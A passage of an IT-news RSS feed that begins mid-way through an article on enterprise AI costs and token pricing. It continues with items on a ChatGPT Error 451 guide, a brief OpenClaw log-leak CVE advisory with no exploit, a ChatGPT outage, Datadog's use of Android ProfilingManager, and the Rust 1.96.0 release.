<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Is ChatGPT Showing Error 451? Complete Fix Guide]]></title>
<description><![CDATA[Key TakeawaysError 451 with ChatGPT usually appears due to location-based restrictions, often because of where your internet connection seems to originate. This can happen due to regional rules, VPN or proxy usage, or network policies by schools, workplaces, or internet providers.To fix Error 451...]]></description>
<link>https://tsecurity.de/de/3694287/it-security-nachrichten/why-is-chatgpt-showing-error-451-complete-fix-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694287/it-security-nachrichten/why-is-chatgpt-showing-error-451-complete-fix-guide/</guid>
<pubDate>Sat, 25 Jul 2026 18:53:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key TakeawaysError 451 with ChatGPT usually appears due to location-based restrictions, often because of where your internet connection seems to originate. This can happen due to regional rules, VPN or proxy usage, or network policies by schools, workplaces, or internet providers.To fix Error 451, start by checking if ChatGPT is experiencing an outage on the […]</p>
<p>The post <a href="https://itechhacks.com/chatgpt-error-451/" data-wpel-link="internal">Why Is ChatGPT Showing Error 451? Complete Fix Guide</a> appeared first on <a href="https://itechhacks.com/" data-wpel-link="internal">iTech Hacks</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-32982 | OpenClaw up to 2026.3.12 Error Message fetchRemoteMedia log file (GHSA-xwcj-hwhf-h378)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in OpenClaw up to 2026.3.12. This affects the function fetchRemoteMedia of the component Error Message Handler. Such manipulation leads to sensitive information in log files.

This vulnerability is uniquely identified as CVE-2026-3298...]]></description>
<link>https://tsecurity.de/de/3693870/sicherheitsluecken/cve-2026-32982-openclaw-up-to-2026312-error-message-fetchremotemedia-log-file-ghsa-xwcj-hwhf-h378/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693870/sicherheitsluecken/cve-2026-32982-openclaw-up-to-2026312-error-message-fetchremotemedia-log-file-ghsa-xwcj-hwhf-h378/</guid>
<pubDate>Sat, 25 Jul 2026 13:32:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/openclaw">OpenClaw up to 2026.3.12</a>. This affects the function <code>fetchRemoteMedia</code> of the component <em>Error Message Handler</em>. Such manipulation leads to sensitive information in log files.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-32982">CVE-2026-32982</a>. The attack can be launched remotely. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Too many concurrent requests when opening ChatGPT? You’re not alone]]></title>
<description><![CDATA[ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide.



ChatGPT is currently facing an outage



OpenAI’s official status page confirms elevated error rates...]]></description>
<link>https://tsecurity.de/de/3693856/ios-mac-os/too-many-concurrent-requests-when-opening-chatgpt-youre-not-alone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693856/ios-mac-os/too-many-concurrent-requests-when-opening-chatgpt-youre-not-alone/</guid>
<pubDate>Sat, 25 Jul 2026 13:19:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide.



ChatGPT is currently facing an outage



OpenAI’s official status page confirms elevated error rates across ChatGPT, its APIs, and Codex. The company says it is investigating the issue, although it has not yet shared the exact cause or a recovery timeline.







Users have also reported login failures, missing conversation history, delayed responses, and prompts that fail to send. Reports appear to be coming from several regions, including India and the United States.







The concurrent requests message does not necessarily mean you opened too many chats. During an outage, overloaded servers can display the same error across many accounts.



For now, avoid repeatedly refreshing the page. Check OpenAI’s status page and try ChatGPT again after the service stabilizes.]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:36 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.96.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1960-2026-05-28" rel="external">detailed release notes for 1.96.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#what-s-in-1-96-0-stable"></a>
What's in 1.96.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#new-range-types"></a>
New <code>Range*</code> types</h4>
<p>Many users expect <code>Range</code> and related <code>core::ops</code> types to be <code>Copy</code>, but this is not the case: they implement <code>Iterator</code> directly, and <a href="https://rust-lang.github.io/rust-clippy/rust-1.95.0/index.html#copy_iterator" rel="external">it is a footgun to implement both <code>Iterator</code> and <code>Copy</code> on the same type</a> so this has been avoided. <a href="https://rust-lang.github.io/rfcs/3550-new-range.html" rel="external">RFC3550</a> proposed a set of replacement range types that implement <code>IntoIterator</code> rather than <code>Iterator</code>, meaning they can also be <code>Copy</code>. The standard library portion of that RFC is now stable, introducing:</p>
<ul>
<li><code>core::range::Range</code></li>
<li><code>core::range::RangeFrom</code></li>
<li><code>core::range::RangeInclusive</code></li>
<li>Associated iterators</li>
</ul>
<p>A Rust version in the near future will also add <code>core::range::RangeFull</code> and <code>core::range::RangeTo</code> as re-exports from <code>core::ops</code> (these do not implement <code>Iterator</code> and already implement <code>Copy</code>), and <code>core::range::legacy::*</code> as the new home for the current ranges. Range syntax like <code>0..1</code> still produces the legacy types for now, but will be updated to <code>core::range</code> types in a future edition.</p>
<p>With these stabilizations, it is now possible to store slice accessors in <code>Copy</code> types without splitting <code>start</code> and <code>end</code>:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-namespace">range</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-type">Range</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>#</span><span>[</span><span>derive</span><span>(</span><span class="z-entity z-name z-type">Clone</span><span>,</span><span class="z-entity z-name z-type"> Copy</span><span>)</span><span>]</span></span>
<span class="giallo-l"><span class="z-keyword">pub</span><span class="z-storage z-type"> struct</span><span class="z-entity z-name z-type"> Span</span><span>(</span><span class="z-entity z-name z-type">Range</span><span>&lt;</span><span class="z-entity z-name z-type">usize</span><span>&gt;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">impl</span><span class="z-entity z-name z-type"> Span</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword">    pub</span><span class="z-keyword"> fn</span><span class="z-entity z-name z-function"> of</span><span>(</span><span class="z-variable z-language">self</span><span>,</span><span class="z-variable"> s</span><span class="z-keyword z-operator">:</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword z-operator">        &amp;</span><span class="z-variable">s</span><span>[</span><span class="z-variable z-language">self</span><span class="z-keyword z-operator">.</span><span class="z-constant z-numeric">0</span><span>]</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The new <code>RangeInclusive</code> also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.</p>
<p>Library authors should consider making use of <code>impl RangeBounds</code> in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#assert-matching-patterns"></a>
Assert matching patterns</h4>
<p>The new macros <code>assert_matches!</code> and <code>debug_assert_matches!</code> check that a value matches a given pattern, panicking with a <code>Debug</code> representation of the value otherwise. These are essentially the same as <code>assert!(matches!(..))</code> and <code>debug_assert!(matches!(..))</code>, but the printed value improves the possibility of diagnosing the failure.</p>
<p>These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from <code>core</code> or <code>std</code> before use.</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span>assert_matches</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">///</span><span class="z-comment"> [Random Number](https://xkcd.com/221/)</span></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> get_random_number</span><span>(</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-entity z-name z-type"> u32</span><span> {</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> chosen by a fair dice roll.</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> guaranteed to be random.</span></span>
<span class="giallo-l"><span class="z-constant z-numeric">    4</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span class="z-entity z-name z-function">    assert_matches!</span><span>(</span><span class="z-entity z-name z-function">get_random_number</span><span>(</span><span>)</span><span>,</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator">..=</span><span class="z-constant z-numeric">6</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#changes-to-webassembly-targets"></a>
Changes to WebAssembly targets</h4>
<p>WebAssembly targets no longer pass <code>--allow-undefined</code> to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the <code>"env"</code> module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.</p>
<p>Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with <code>RUSTFLAGS=-Clink-arg=--allow-undefined</code> or by editing the source code and using <code>#[link(wasm_import_module = "env")]</code> on the block defining the symbol.</p>
<p>This change was <a href="https://blog.rust-lang.org/2026/04/04/changes-to-webassembly-targets-and-handling-undefined-symbols/" rel="external">previously announced</a> on this blog, and now takes effect in Rust 1.96.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/macro.assert_matches.html" rel="external"><code>assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/macro.debug_assert_matches.html" rel="external"><code>debug_assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/panic/struct.AssertUnwindSafe.html#impl-From%3CT%3E-for-AssertUnwindSafe%3CT%3E" rel="external"><code>From&lt;T&gt; for AssertUnwindSafe&lt;T&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/cell/struct.LazyCell.html#impl-From%3CT%3E-for-LazyCell%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyCell&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/sync/struct.LazyLock.html#impl-From%3CT%3E-for-LazyLock%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyLock&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeToInclusive.html" rel="external"><code>core::range::RangeToInclusive</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFrom.html" rel="external"><code>core::range::RangeFrom</code></a></li>
